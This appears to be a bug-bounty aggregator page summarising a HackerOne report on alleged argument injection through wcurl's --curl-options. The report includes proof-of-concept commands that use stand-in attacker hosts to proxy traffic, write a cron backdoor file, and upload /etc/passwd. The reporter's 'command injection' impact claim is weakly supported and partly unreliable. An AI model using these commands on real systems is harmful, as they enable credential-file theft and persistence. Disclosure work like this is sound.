wcurl Argument Injection via Unquoted Variable
wcurl passes user-supplied curl options to curl; someone who can supply those options can inject extra curl flags, such as a proxy or output file.
Originally disclosed on HackerOne
- Disclosed after 17 hours
when i was code auditing curl i stumbled uppon a vulnerablity that was on wcurl
affected version:current
step 1: open terminal step 2:run pocs below
wcurl --dry-run --curl-options='-x http://evil.com:8080 -o /tmp/pwned' https://example.com/test.txt
wcurl --dry-run --curl-options='-o /etc/cron.d/backdoor' https://attacker.com/malicious
wcurl --dry-run --curl-options='-x http://attacker.com:8080' https://target.com/sensitive
wcurl --dry-run --curl-options='-T /etc/passwd' https://attacker.com/steal https://x.com
screenshots below
if this is not a vulnerability i am sorry
the dry run used to not harm the system
Impact
command injection
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could use injected curl options to route traffic through a proxy, write files to arbitrary locations, or upload local files, though the report only demonstrates this with --dry-run.
What the attacker needed
Ability to supply --curl-options to wcurl
How it was found
- Open a terminal.
- Run wcurl with --dry-run and a --curl-options value containing extra curl flags.
- Run wcurl with --dry-run and a --curl-options value containing extra curl flags.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
wcurl is a script that wraps curl. It lets you pass extra options to curl. Someone who can supply those options can add their own curl flags, such as saving a file or using a proxy.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.